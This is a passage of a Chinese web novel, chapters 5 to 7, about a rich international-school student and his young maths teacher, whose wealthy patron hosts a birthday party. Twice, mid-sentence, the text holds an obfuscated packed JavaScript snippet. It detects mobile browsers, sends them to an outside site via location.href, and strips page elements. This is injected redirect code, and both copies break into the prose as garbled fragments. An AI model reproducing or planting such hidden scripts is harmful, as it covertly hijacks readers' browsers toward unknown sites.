虽然他学的数学专业,这毛笔字却是打小就练的,婆婆常指着堂屋那块黯淡深沉的牌匾,说是太公公留下的墨宝,“我们家祖上也是诗书人家哪。”婆婆瘪着没牙的嘴,露出一个笑脸。 他叹了口气,继续泼墨挥毫,四年前李总接受了他的感谢,还给了他一份足以满足妹妹期待的寒假工,现今这份薪资待遇可观的工作也多亏了李总发话,确实应该好好感谢人家。一码归一码。 ————————————————————————— 第一次课曾闰成还夹杂了一半的中文,第二次授课就是全英文了,用很纯正的牛津腔讲二次函数根的关系。 傅廷恩觉得他讲英语比他讲中文还要sexy,简直听得入了迷,他IG数学算是学得比较好,FP1的课程对他没有什么难度,只是难得他上课有这么认真的时候,曾闰成也明显感受到了,讨论的时候直接点了他的名:“Barry,please?” 他们这种国际学校提倡所谓快乐课堂,老师一般不会点名提问,但每个老师都会希望自己的课堂氛围稍微活跃点,偶尔对于有把握的学生也会邀请他作答。 傅廷恩当然不会让曾老师难堪,起身侃侃而谈:“My opinion is……”师生尽欢。 下课的时候他还蹦跶到讲台边:“Teacher,What is your English name?”第一节课曾闰成介绍了自己的中文名字,却没有说英文名。 他愣了一下,“我没有英文名字,原来没有想过会进国际学校……” 傅廷恩兴致勃勃,“那我给你取一个?我初中在英国读的,知道很多小众又好听的英文名。” “呃,好,那谢谢你。”他冲他点点头,镜片后的眼眸微弯,笑意柔和。 “曾老师真的好白,笑起来也好好看。”傅廷恩在心里犯起花痴,却决计不会让人看出来,转身伸手勾过架子上的篮球,呼朋唤友的跑出去了。 下午的皮划艇课,练习双人皮划艇,肖震抢着和江三一组。原本江三还紧盯着傅廷恩,看肖震靠过来倒也没在意,这小个子怂得很,不怕他使坏。 等大家都穿戴好装备安坐在小艇中,傅廷恩冲肖震打了个眼色,“老师,我的浆板有问题,救生衣好像也不对。” 肖震起身向岸边的老师走过去,傅廷恩趁空挡飞速占了他的位置,坐到了江三身后。 “你干什么?下去!”江三恼怒的低吼。 “怎么?你怕?”傅廷恩一副吊儿郎当的口吻。 “切!”江三当然不可能认怂,闻言也不吱声,十来条小艇在老师口令的指挥下,匀速驶离岸边,姿势都很标准,步调也一致。 傅廷恩不动声色的控制着方向,离两位老师的单人艇远一些。等到湖中央,傅廷恩把浆板一丢,大叫一声,“哎呀,老师,他打到我浆板了!”身子使劲一倾,一副要去勾浆板的样子,小艇立马翻覆过来,把两个人盖到了水下。 艇底下一阵乒乒乓乓的水 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他扔了手机从床上跳起来,光着脚走到楼下大厅里,他妈正好从门外进来,司机在身后提着大包小包,看见傅廷恩,她大呼小叫,“哎呀乖仔,怎么不穿鞋……” “妈,我周末要再加一节自由搏击课,你让丁叔帮我找最好的老师。”丁叔是傅家管家之一,专管他们这一房各类杂务。 “还有数学,我们新来的数学老师不错,我想请他帮我补P3\P4的课程,课时费给高点!”他看曾老师穿得挺朴素,租的房子也破旧,应该是不太有钱的样子。 体育类要求加课他妈不惊讶,主动要求补数学倒是头一回,“哟,太阳打西边出来了?我明早打越洋电话跟你哥表扬你,让他过年回来给你带礼物。” 傅太是大家族里头夹中间的儿媳,日子最是舒坦,又生了两个儿子都争气,快五十的人了,看上去最多四十如许的年纪。 不等他妈上楼换衣服,傅廷恩先拖她在沙发上坐下,“妈,虽然老师预估给了A,但是如果想拿牛津的offer,最好P3、P4都考A*,我每天来回跑好烦,周一到周五就让我住我学校边上那公寓,周末我再回家。行不行?” 就知道这么眼巴巴的看着她准没好事,“不行!”傅太断然拒绝,“你们这年纪正是闯祸的时候,让你一个人住外面想都不要想!上回我听黄太说抽烟喝酒打架还是小事,吸毒……” 傅廷恩赶紧打断她,“妈,你儿子是这种人吗?!我什么时候闯祸了?我在英国不也是一个人,有学坏吗?” “这怎么一样,你在英国有姑姑一家照顾你。”傅太欣慰的摸摸儿子的小狗头,“妈妈知道你一向听话,你爸最近每天都要去医院看你爷爷,公司里也一堆事,你别烦他啊,出去住的事情不要提!” “哎呀哪里是出去住吗?只有周一到周五,哦,不,周四,周五晚上我就回来,”傅廷恩深知他妈的死穴,不要脸的撒娇卖痴,弯着一八二的大个子,毛茸茸的脑袋在他妈肩膀上拱来拱去。 “像什么样子!都这么大的人了,起开!”他妈笑着骂他,要起身上楼换衣服。 “妈,妈,妈……”傅廷恩搂她肩膀不松手,“这样好不好?你就怕我不是好好学习是贪玩嘛,你让丁叔随时过来检查……还有还有,明年一月AMC12数学竞赛我保证拿前5%好不好?你就答应我嘛……” 这下他妈都惊讶了,“AMC12前5%是那么好进的吗?我记得之前AMC8你都没有进吧……” “那都是我小学时候的事了,您还拿着说!”傅廷恩直起身子,“你就说我进了你答不答应吧?” “你先进到再说!”他妈施施然上楼去,“等进到我再跟你爸谈这个事。” 5. 第 5 章 下了数学课,傅廷恩拦住曾老师的去路,篮球服上没有口袋,他变戏法似的左摸摸右摸摸,不知道从哪个角落掏出一张小卡片,卡上用英文花体写着:Jasper,a和p两处还改成了两颗小爱心。 “怎么样?这个名字好不好听?来自拉丁语,是‘宝石’的意思。”原来是给他取的英文名字。 曾闰成微笑着看这个大男生在他面前耍宝,这种青春洋溢的感觉真的是久违了。 他点点头,“很好,就这个吧。以后你可以叫我Jasper。” “是!”男生双脚一立,调皮的行了个举手礼,“老师,我觉得你的眼睛真的好像宝石一样。” “谢谢。”上一次听到这种恭维好像还是念大学的时候,他想起昨晚上接到的电话,将傅廷恩拉到一边,“丁叔是你们家的人吧?很抱歉,我不能给你收费补习,国家和学校都有相关的规定。但免费的是可以的,你有不懂的题目下课有时间可以来办公室找我。” 为了避免别的同学听到谈话内容,他在傅廷恩耳边小声说道,并不知道自己的靠近给十八岁的少年带来了怎样的悸动。 很清爽的香味从他的唇齿之间传递到了另一个人鼻端,并迅速蔓延到全身,傅廷恩只觉得左边的耳朵要烧起来一般,半边身体好像瞬间就麻木了。 等身影转身下楼,他才反应过来,“那,老师,”他追上去,“我可以去你家里,就是你租的房子那里找你吗?” 曾闰成迟疑一下,点点头,“周末你如果有时间的话。不过要提前打电话。”他做了个打电话的手势。 恒雅的各项课程开展得非常多,申请英联邦的名校除了A-level成绩,还需要参加各项竞赛用以增加软实力,上进的孩子时间确实比较紧张。 肖震看傅廷恩龇着个大白牙站楼梯口傻笑,忍不住上前拍他肩膀,“干嘛?思春啊?啊,凌倩又来找你了!” 几个女生把他扒拉到一边,最前边的美女将一张请柬递到傅廷恩面前:“这个周末我生日,邀请你来参加我的生日party。” 请柬是特意设计的立体式,香气扑鼻,傅廷恩忍不住打了个喷嚏,捂了捂鼻子,“没空。” “这么不给面子?信不信我打电话给傅叔叔告状,他答应我爸,让你在学校关照我,你不但不听,还欺负我。”青春美少女一副泫然欲泣的表情。 “喂,我哪有欺负你,别乱说!” “还说没有?我十八岁成人礼你也不来,我俩可是发小!”虽然他们不同阶段各自在英国美国呆过不短的时间,小的时候倒确实一起玩过。 “我再问你一次,来不来?”当着同学的面,大美女有点下不来台了,眼泪在眼眶里打转。 “行吧,行吧,”傅廷恩一把扯过请柬,“先说好,我可没有准备礼物。” “用不着,”凌倩破涕为笑,“跟我闺蜜、同学们都说好了,谁都不要送礼物!”凌家也确实啥都不缺。 走出校门,肖震还在那里咋舌艳羡不已,“凌大美女可是我们恒雅公认的校花,一天到晚追着你跑,也难怪江家那几个小子看你不顺眼,过个生日还得求着你去……” “她不是也邀请你了?” “谁不知道那是顺便?!”肖震气愤的翻白眼,“你刚跟曾老师在楼梯间嘀嘀咕咕说什么哪?啊?说什么哪?有什么秘密不能让别人听见吗?” “你瞎说什么?!”肖震嘴上没个把门的,可不能让他乱说话,“我是看曾老师可能有点穷,想请他给我补习数学,结果被拒了。” 上回巷子里遇到,肖震也在场,估计对曾老师家庭条件心里也有数。 “那你还那么高兴?” “你哪只眼睛看见我高兴了?”傅廷恩拍他脑袋一下,“走,请我喝杯奶茶再回去。” 司机反正会在老位置等,两个人拐过校门口,去往街边的奶茶店。 “咦,曾老师家条件不是不好吗?”肖震站住脚,扯了扯傅廷恩衣袖,又指了指街边一辆加长版迈巴赫。 傅廷恩抬头,正好看到一抹熟悉的身影钻进车厢,司机一脚油门,绝尘而去。 “这么豪的车,还这么吉利的车牌号,曾老师背景也不简单嘛!” ———————————————————————————— 傅廷恩回到家,难得看见他爸和他六叔坐在客厅聊天。兄弟里头,他爸和这个异母的小弟弟走得最近,反而跟同胞的几个伯伯除了年节平时少有来往。 “廷恩,两个月不见好像又长高了吧?”六叔傅明琛特意起身跟他比了比,“都快跟我差不多高了。这么高又这么帅,有没有谈恋爱啊?” 傅明琛冲他挤眉弄眼,他只有三十出头的年纪,没有他爸老气横秋,“上次我飞英国看明淑,你那小女朋友还找我控诉,说你WhatsApp上不回讯息,ins账号也没有更新。” “我还在长呢,很快就会比你高!”年轻人可怕的胜负欲,听话只听自己关注的点。 傅太在厨餐厅指挥阿姨们排布餐桌,听到声音出来笑,“是,他最近经常吃夜宵,洗完澡还要下来吃东西,估计还 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“李家大本营在港城,说一声在港城横着走也不为过。富三代而贵,富五代为世家,李家的底蕴不用多说,社交圈子里的李家人都有君子之风,倒是这个李景麟还有点祖上的匪气,黑白两道都混得开,荤素不忌,男女通吃……” 他哥傅明章出声打断他,放下手里紫砂壶,起身往餐厅,“跟孩子说这些干什么?!走,吃饭去。” “哈哈哈……”傅明琛拍拍他哥的肩膀,“孩子长大了呢,说不定过几年就能给您添孙子了。” “那倒是好,你嫂子就盼着这事,隔天一个电话催他哥,弄得老大在澳洲都不敢回来,分公司那点事情哪里就忙成这样……” 晚上傅廷恩躺床上,又记起这事,打开微信搜索了一下曾老师的号码:此用户不存在。 竟然没有开通微信?曾老师这种人为什么会跟李家扯上关系呢?难道是远房亲戚?能到恒雅来教书多少有点背景吧?会不会就跟这个李景麟有关?可简老师都说了,是因为数学竞赛金奖特聘的…… 少年人的特点就是对自己关注的人和事情会投入无限的热情和精力,而对于关注他们的人和事无动于衷。简单来说,就是一切以自我的感受为中心。 手机“嘀嘀嘀”一连串提示音,傅廷恩兴奋的打开微信,肖震发来一堆大胸美女,他瞟一眼,“没劲透了……” 他把手机一扔,抓着方枕一阵揉搓捶打,四肢拧麻花一样的颠来倒去,滚到大床的另一边秒睡了…… 6. 第 6 章 下班的高峰期,车子走走停停,终于开到玄武大街的尽头,往左不过百来米,一座大宅赫然映入眼帘。 占地百来亩,后院正对着朱雀湖,湖堤本来就不允许车行,宅子的阶梯排布到堤边,整个朱雀湖看上去就像这宅子的后花园。在寸土寸金的金城绝对是数一数二的豪宅了。 车子穿过雕花铜门,又绕过一个巨大的活水喷泉,阶梯之上,金碧辉煌的大厅门前,挺立着一个十分高大的身影。 曾闰成赶忙紧走几步,上了阶梯,“怎么好意思劳动李总的大驾亲自接我。”他笑盈盈的递上装裱好的卷轴,“小小心意,祝您生日快乐。” 尽管将脚步放匆忙了一些,神情也依然从容恳切,李景麟看那青年在夜色下含笑而来,跟初次站在他办公室里头局促不安眼神都透着慌乱的身影重叠起来。 李景麟内心颇为感叹,如果说四年前这青年还只有一张皮相可看,那这四年岁月的打磨,他已经将自己的神魂逐渐的修炼了起来,填充在了原本就诱人的皮囊里,形神俱合,光彩照人。 他觉得自己是这一融合过程的旁观者,或者说守望者,既没有伸手拉拔,也没有出手碾压,只是包含热切的观望,他很想知道,这棵历经风雨的树苗,到底是会挺秀于林,还是摧折弯腰呢?他在内心为自己的耐性鼓掌。 他接过卷轴打开,笔力遒劲又俊逸潇洒的“麟”字跃入眼帘,他点点头,难得那笑意直达眼底,“这个字我很满意,多谢你。”他将卷轴递给一旁的助理,“拿到我书房挂起来。” 身后的苏秘书迎上来,“曾老师来了,早给你留好了位置……” 伴随着清脆的高跟鞋叩击地面的声音,大厅里又闪出一道窈窕的身影,“闰成,”一张艳丽如昔的面孔浮现,“我说景麟怎么出来了,原来是闰成来了。” 她娇嗔的挽住李景麟的胳膊,“景麟也不告诉我老同学要来,不然我早该去学校接你了。” 女人穿着一条低胸的晚礼服裙,脖子熠熠生辉的一圈宝石也挡不住她沟壑毕现的好身段,脸上的妆容是他从没见过的浓厚,曾经的黑长直变成波浪卷披散在肩头,只有明媚的五官还依稀有点金师大校花的影子,他差点没有认出来,“子琪……好久不见了。”他伸出手,她亦伸出手来,却只是轻轻一触。 “入席吧,”李景麟睨一眼曾闰成脸上的神情,勾起的嘴角略带玩味,拍了拍胳膊上的皓腕,携美走入大厅。 欧式长餐桌的两端分坐着二十来号人,确实像苏秘书说的只是一个小型的party,大部分是君临的高管,李景麟经常一块玩的几个朋友,没有其他外人。 苏秘书给他安排了一个中间的位置,两边都是年轻人。李景麟简单说了几句场面话,便响起刀叉盘盏的碰撞声,另一侧的大厅里,一支乐队正演奏着交响曲,即使小声交谈也不显得突兀。 曾闰成没有跟左右攀谈,安心享用美食,顶级和牛、澳洲波龙、装在精致小碟子里的鲟鱼子酱都是属于极偶尔吃过的,他慢慢的咀嚼,让食物的香甜,压下心里那一丝丝因为姚子琪的出现而泛起的苦涩。 每一个男人都不会忘怀自己的初恋。高中条件实在太差,虽然因为成绩优异,学校减免了大部分学费,但其余都靠领救助金,没有女孩子看得上他,他也完全没有那方面的心思。 到了大学,尤其是这种女多男少的师范类院校,追求的人似乎一下子就多了起来,但是他的课余时间基本被各类兼职填满。姚子琪的出现真的纯属意外。 他按社团提供的地址转了两趟地铁,跑到城北的别墅区接手一单初中生的家教,雕花铁门里,面相刻薄的中年妇女正叉腰骂门外眼泪汪汪的白衣少女:“没通知你怎么了?老娘就不让通知!现如今大学生满大街都是,还非你不可了?!”唾沫星子从栏杆间隙里飞出来,“当时我就觉得不对劲,他爸怎么找回来你这么个狐媚子家教,勾搭老的,带坏小的……” 他拽起那个被骂呆了的身影转身就走,大声对那女孩说道:“别跟这种没文化的人一般见识,就当被狗咬了一口,咱们走!” “说谁没文化哪!”中年妇女的声音追出铁门,“骂谁是狗哪?你们才是狗,穷酸的下流坯子……” 两人快步走出那个狭窄的弄堂口,他松开她的胳膊,“不好意思,把你衣服弄皱了。” 棉衬衫的衣袖上尽是褶皱印子。他不擅长跟人正面硬刚,也不太擅长安慰人,只能递过去一包餐巾纸,“别哭了。” 看女孩子呜咽不住,想了想,“世界这么大,这样的人多了去了,大概就是书上说的垃圾人吧,把生活里的不如意全都发泄到别人身上。不理她,把她当垃圾倒掉……” “可是我不明白,”少女抬起盈满泪光的眼眸看向他,“为什么这么差劲的人会过得这么好呢?” 自己当时怎么回答来着,“你看到的只是她人生的一个点,事实上人生是一条线。”其实跟不是不报时候未到一个意思,却让明媚的少女破涕为笑。 “闰成,敬你一杯,谢谢你来参加景麟的生日party。”曾闰成抬起头,记忆里少女含泪的双眸和面前顾盼生辉的美目重叠在一起,他点点头,起身端起坐席旁摆着的高脚红酒杯,跟她轻轻碰杯,“不用谢,你开心就好。” 他轻啜一口,她却一杯饮尽了,他无奈的摇摇头,跟着喝了,转身要落座,她却附身在他耳边低语:“开心?我当然开心……” 她似有薄醉,“毕竟,这就是我想要的生活嘛。而且我应该要谢谢你……”戴着白手套的侍从很尽职的上前给二人空了的杯子倒上半杯佳酿。 苏秘书的每一次出现都恰如其时,“Ava,你等会还要和李总跳开场舞,可不好喝太多。” “哼。“姚子琪侧目冲她妩媚一笑,转身走开。 “曾老师,你实在应该去敬李总一杯,他很少操心别人工作的事情,单为你的事嘱咐了我好几回。” 苏秘书是典型的职场白骨精,之前见过两次熟稔了后都唤他“闰成”,这两回都唤他“曾老师”,细微处提醒她老板的恩情。 金师大虽然是师范类的顶尖学府,他又有各项竞赛光环加身,可想要留在人才济济的金城,获得一份薪资三倍于公立院校外加独立户籍可随迁家属的工作,并不是一件容易的事情。 他还记得跟李景麟的上一次会面,“闰成,你不会因为子琪的事情跟我生分了吧?子琪是成年人,也是一位优秀的独立女性,她有自己的选择。我们应该尊重她的选择,你说是不是?”他的身形一贯高大,即使随意安坐也透着一种居高临下的气势。 可他说得没有错,姚子琪有自己的选择。他觉得怪异的点在于,他说的好像不是一份感情的迁移,而是一份工作的选择,但他只能点点头。 “你恒雅的offer我的确有说话,但是闰成,我资助你这么多年,是看着你从小山村走入大都市的,我一直都很欣赏你,如果不是你执意任教,我是很想让你到君临来帮我工作的。” 他动作娴熟姿势优雅的冲泡着功夫茶,关公巡城、韩信点兵,一盏香茗推到他眼前,“学校的工作你比我清楚,公立学校各种教学之外的任务就不用我细说了,去恒雅吧,专心教学,做你自己想做的事情。” 无人知道他的内心,其实是很想看看,在一个充斥着官二代富二代的大环境,从校长到老师,整个学校机构的设置都属于资本运作的小社会,他这样的性格会产生怎样的化学反应?是清澈如昔还是随波沉沦?哪一种结果他都很期待。 平日里人多的场合看见,李景麟总是一副纵横捭阖睥睨天下的架势,每次私底下相见,倒是耐心亲近,“我真担心你因为子琪的事情怪我,连这样好的机会都要放弃。” “怎么会,我对李总只有感激。”连六年资助都扯出来,他如何能有怨愤?如果不是君临的资助,任他成绩再优异,风雨飘摇的小家也撑不完他的高中生涯。 何况,他和姚子琪也没有多深的感情,一次出手相助,两三回社团活动上的重逢,学校湖边的几次谈心,相似的家庭状况同样贫苦的出身,让情窦初开的年轻人生出了一点想要互相慰藉的心思。 只可惜这份感情还来不及沉淀、加深,就遭遇了改弦易辙的打击…… 他举杯走向主座被几个朋友簇拥敬酒的李景麟,在众人停歇的间隙里倾杯过去,“李总,生日快乐。谢谢您这么多年的帮助。” 李景麟笑着看向他,一饮而尽,“多谢。闰成,”三分酒意上脸,他原本冷峻的面庞显得柔和不少。 “闰成,你可以叫我景麟。”曾闰成并不意外他说话的口吻好像一种恩准,他并不是因为他的出身而对他轻慢。真正的天之骄子,哪怕在王室子弟面前也是这种调调。 曾闰成有一次在外网刷到过他的一个采访视频,是关于一个小国几项基础设施的并购案,和该国的王子坐在一起,他表情里还带着点不耐烦,用流利的法语言简意赅的表达观点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422336|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐队演奏起肖斯塔科维奇的《第二圆舞曲》,欢快圆融的曲调在大厅里回响,李景麟西装革履,系着银灰色领结,网络上他的个人资料写着192的身高85KG的体重,显而易见的毫无水分。 姚子琪也换了一件银白色的礼服,她舞裙摇曳、脚步翩跹,笑脸如花的盛开在他宽阔的臂弯里。 曾闰成一如众人般投去羡慕的眼光,拍起祝福的巴掌,却最终还是在人流汇入舞池的时刻,悄然退出了热闹的大厅。 顺着后门的长廊一直往前,是烟波浩渺的玄武湖景,廊下几盏风灯,湖心数点渔火,辉映着初秋辽阔的夜色。 他有些怀念小山村月色纯净的夜晚,大如银盘的圆月高悬在灰蓝的天幕之上,让每一树每一草都无所遁形,却又温柔的给它们披上了一层绰约的轻纱,他顺着乡间小路一直往山坡上走,空旷的足音是对寂寥山林的应和…… “闰成,原来你在这里,”姚子琪仍穿着那件银白色舞裙,月下仙子一般款步而来,“怎么不去跳舞?我记得学校社团也学过华尔兹,你跳得可好了。” 他看她一眼,笑笑,摇摇头,不说话。 “来,我们在这里跳一曲好不好?”她已有醉意,夜风里浸润着丝丝缕缕的酒香。 “不了,子琪,不合适。”他仍然是微笑的摇头。 她在他温柔的目光里,忽感愧疚似的低下头,局促的绞着双手,“对不起,闰成。” “你已经说过几次了,不要再说了。”他没有一点责备的意思,“你没有对不起我。” 姚子琪第一次说对不起,是两人约好了周末去爬山,却当着他的面上了那辆他并不算陌生的金A9999。 第二次说对不起,是在器重他俩的导师家里,她以为他把留校的机会让给了她。 “其实不是让给你,留校虽然好听但收入太低了,而且只能在行政处打杂,从干事做起。你知道的,我需要钱,而且我喜欢课堂。”他再一次解释。 姚子琪突然轻笑了一声,散开手,就好像卸下什么伪装一般,“你这么轻描淡写,似乎我在你的心里一点也不要紧。” 他怔了一下,无法辩驳。难受的感觉是有的,但是毕竟两个人才刚开始交往,要说有多深厚的感情是真谈不上。 犹疑了半天,“所以我是真的觉得你没有对不起我,李总确实是很好很优秀的男人,”他挣扎着开口,“可是他是已婚,而且有孩子的,这些,你……知道吗?” 应该是知道的吧,毕竟这不是秘密,互联网这么发达,李家和王家的联姻曾经轰动港城,李景麟和王芝芙的婚礼照片也经常在各大论坛与富二代们奢华婚礼相关的帖子里,被传送、浏览。 连他这种并不太关注八卦新闻的人都无意间刷到过。甚至还不止这些。 “当然。”她脚下不停,与他一同漫步在月色中,似乎突然间就情绪低落起来,兴致缺缺的弹弹指甲,“他们这种圈层的婚姻跟我们理解的是不一样的。他老婆带着两个孩子常驻澳洲,隔着一整个太平洋,有没有一个李太又有什么要紧呢?” 好吧,那就不用再说了,他轻踢一下脚下的小石子。 “你是否觉得我自甘堕落?”姚子琪轻叹口气,“闰成,人跟人是不一样的。你看看这个宅子,”她扬手转了一圈,“如果你出生的时候有,就有;没有,那这辈子也不会有。” “没有又怎么样呢?住在这个大宅子里也不见得更快乐些。”他低头不看她,初秋的风已经微有凉意,他穿着衬衫亦觉冷,而她还穿着露出大半肩背的舞裙,“进去吧,起风了。” 她似有恼怒,停下脚步,“闰成,其实每个人都是有价格的。” “但总有那个给你金山你也不愿意换的人。”他很低却是很坚决的答道,眼睛投向湖面。 她怔住,侧目去看他,月光下他眉目如画,大半年不见,气质愈发的清俊了。 苏秘书的提醒又一次在耳边回响,“金城这么大,美女如云,凭什么是你,获得了李总的青睐呢?价值总要有所体现才好。” 她愣愣的看着他一贯温润的侧脸,好像重新认识了身边这个青年。半晌,凉凉的开口,“闰成,我在李总的书房看到一个小隔间,里头放着你的很多书法作品,有好几幅是我们在社团活动上义卖出去了的。”她停下脚步,一双美目几乎是盯视着他,“你或许知道,这是为什么?” …… …… “我想我该告辞了。”良久,他答道。 7. 第 7 章 傅廷恩的周末是怎么也闲不住的,一早爬起来五公里,吃了早餐就让司机送他去学校。 “周末往学校跑干嘛?”傅太才刚起来。 “补数学!”声音还在耳边,人已经到了门外,又倒退着跑回来,“王妈帮我装一盒蟹粉小笼包,海鲜粥也要一杯,可以带给老师吃!” 傅太觉得她儿子还算是懂事,又吩咐司机搬两箱水果,“丁叔说老师不肯收补习费,那你带点水果去,中午回来吃饭吗?” “不了,我上午补习,下午直接去上搏击课,外面随便吃点好了。”教练是上届自由搏击锦标赛冠军,强悍有个性,不肯上门专为富家子弟服务。 “随便吃怎么行……”她话没说完,傅廷恩已经跑得不见影,只好无奈的笑着摇摇头。十七八岁的孩子都是急性子。 司机按他要求送到巷子口,大奔开不进去,只好车停一边,将水果搬到楼下,傅廷恩左手书袋,右手早餐,突然想起还没打电话,用耳朵夹着手机,“Jasper,我今天可以来你家补习数学吗?” 电话接通,却没有声音,曾闰成在楼上推开纱窗冲他“嗨”一声,“你这声音我楼上都听到了,上来吧。” 男生分两趟才把水果早餐都拿上去,跑得楼道里砰砰乓乓一阵乱响。 曾闰成昨晚没睡好,刚起来不久,正好空着肚子,尝了一个小笼包,竖起大拇指:“你家阿姨手艺不错。” 他没有戴眼镜,蓬乱着头发,腮帮子鼓鼓的,看上去比平时小很多。晨光里脸上细小的绒毛都清晰可见,皮肤简直称得上吹弹可破,一点瑕疵痘印都没有,但五官的轮廓、清俊的气质又让他看起来一点都不娘炮,就是一种很纯粹很精致的美好。 傅廷恩垂下头不敢再看,忙伸手也拈了个小笼包吃,掩饰般的问道,“老师你多大了?” “24,我小学跳了一级。” “哇,老师你好厉害还能跳级,”傅廷恩夸张的拍马屁,“比我大六岁,那你是……属狗?” “嗯,小屁孩不错嘛,把生肖搞清楚了都。”曾闰成扯毛巾洗脸。 “小屁孩?”傅廷恩一蹦三尺高,“我哪里小?我比你还高。”他扯着曾闰成在镜子前比了比,结果是一样高。“我还在长哩,”他得意的踮了踮脚,“老师你不能长了吧?!” “嗯。”曾闰成点点头,“所以说你小。大人可不会长个子了,小屁孩才会长。” 傅廷恩无话可说,眼珠子一转,“老师,我昨天看你坐豪车出去了,你认识那个君临的李景麟啊?” 曾闰成一愣,“你也认识?” “我不认识,我叔叔认识,”傅廷恩假装不太在意的转过身,“我叔叔说他不是什么好人。” “你叔叔真这么说?”曾闰成不信,小孩子才会直白的说好坏。 “……反正说这个人比较——复杂,不过他们家很有钱,你认识他吗?”傅廷恩追着这个问题不放。 曾闰成沉吟了一下,“认识。他对我来说是个好人,他在我们山区资助了不少贫困家庭的孩子,我就是其中之一,还给我们修了一条路,让大山里头的孩子更容易走向外面的世界。” 傅廷恩觉得他毫无缘由的就很欣赏曾老师,其实是有理由的。这个人真的是一眼可见的坦诚,对家庭背景没有做任何的掩饰,说到贫困眼里也没有任何情绪的波动,既不窘迫艾怨,也不清高自持。 这对于他们这种家庭背景的孩子来说,其实是稀有的品质。二代三代们,从小耳濡目染学到的第一课就是装。云山雾罩才是好,永远不要让别人掂清楚你的斤两。 曾闰成把吃饭的小方桌摆到靠阳台的窗边,光线充足,摊开傅廷恩带过来的资料,“你真的想学好数学?” “那当然,”傅廷恩信心满满,“P3、P4我都要拿A*!” 没有人不欣赏上进好学的孩子,曾闰成翻出几本练习本,订到一起,“拿着!错题本,我知道你肯定没有!数学的学习是离不开它的,P3和P4是普数当中最难的两个单元,想拿A*的话加起来分数要大于等于180分,需要进行大量的复杂运算,通过比较多的练习来驾轻就熟应用相关公式,理解背后的原理。不过你也不要太担心,”他生怕打击到傅廷恩的学习积极性,“A-level数学考试题型比较固定,难度系数比国内的高中数学要低不少,你这么聪明一定行的!” “真的吗老师?你也觉得我很聪明?” “那当然!来,先拿这两道题开开胃……” 老旧的居民楼,阳光穿梭过树荫,斑驳的落在窗前的方桌上,两个年轻身影相对而坐,时不时轻声低语,时不时又开怀大笑,几只麻雀啾鸣着盘桓不去,似乎也在吟唱这美好的时光…… —————————————————————————————— 虽然凌倩有强调不要带礼物,但傅太非常强硬的将一个礼盒塞到满脸不耐烦的傅廷恩手里,“这是给你单独准备的一份,人家说不要是人家的客气,你自己得懂礼数,知道吗?凌伯伯平时可没少疼你!” 傅太细细叮嘱他,“我跟你爸还另外有安排礼物,凌家这次是要把闺女引进社交圈,排场弄得比较大,不要踩人家面子,也不要丢我们家脸,知道吗?等你二十岁……” “我才不要搞这种事,脸都要笑僵!”傅廷恩最反感这种社交场合。 “那可由不得你,你哥二十岁也办了party。每个孙辈成人礼,你爷爷都有安排。” “那也等我二十岁再说。”届时他应该已经不在国内。 “在国外也得回来,”傅太一眼看穿他心思,又揪着他换衣服,“穿正式点,你们综合课程里面不是有安排各类交谊舞种的学习嘛?倩倩肯定要找你跳舞。” 何止交谊舞,连戏剧类课程都有开设。不管是伦敦还是曼哈顿,上流社会精英云集的场合,跳舞都是最基本的社交。 傅廷恩到底被他妈按着换了带领结的小西服,反复夸他帅才把他哄上了车。凌家别墅门口也是豪车云集,十来个穿制服戴白手套的保安指挥着停车,忙得不可开交。 在门口遇到肖家人,两家父母寒暄着一同进去了,傅廷恩瞄一眼肖震穿西服打领带,头发还用发胶固定住。“这么骚包?” “去,别打岔!我今天要跟立雅表白,就要抢凌倩风头,谁让她老挤兑我们家立雅。”他不满的拉扯傅廷恩领结,“你不是都不想来吗?干嘛还打扮这么帅?” 袁立雅虽然不是凌倩姐妹团成员,但她是七班班花,班花校草都在凌倩公主的邀约名单上,要在俊男美女的簇拥下过生日并且艳冠群芳是公主的计划之一。 站在别墅门口迎客的寿星果然穿着蓬蓬的公主礼服裙,头上还戴了一个小皇冠。“这是真把自己当公主了。”肖震忍不住跟傅廷恩吐槽。 凌倩看见傅廷恩的穿着打扮很高兴,她就知道打电话给傅太最有用。傅廷恩把手上的礼盒递过去,“生日快乐!”又忍不住补充一句,“我妈选的。” 小公主噎了一下,还是很高兴的接过去,打开,是爱马仕的丝巾,“哇,这个花色我好喜欢。”未来婆婆的马屁必须拍,她随意往脖子上一系,竟然也和谐好看。 “你们来啦。”甜甜的台湾腔迎上来,“傅廷恩你今天好帅哦,”转头看见肖震期待的眼神,“震震你也很帅啦。”袁立雅上来想挽傅廷恩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422337|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胳膊,凌倩抢先一步,“廷恩,你今天陪我跳开场舞好不好?” 寿星的面子肯定要给,“好。”傅廷恩任凌倩挽着他胳膊走开,转身冲肖震打了个wink,肖震会意,拉住袁立雅,“立雅,我有话跟你说……” 结果乐队奏起交响乐曲,人群也喧嚣起来。肖震只好咽下没出口的表白,“等会说,你想吃什么?我帮你拿。” 等人到得差不多齐,音乐停歇,大伙很有默契的围在大厅四周,中间留出大片的空场。 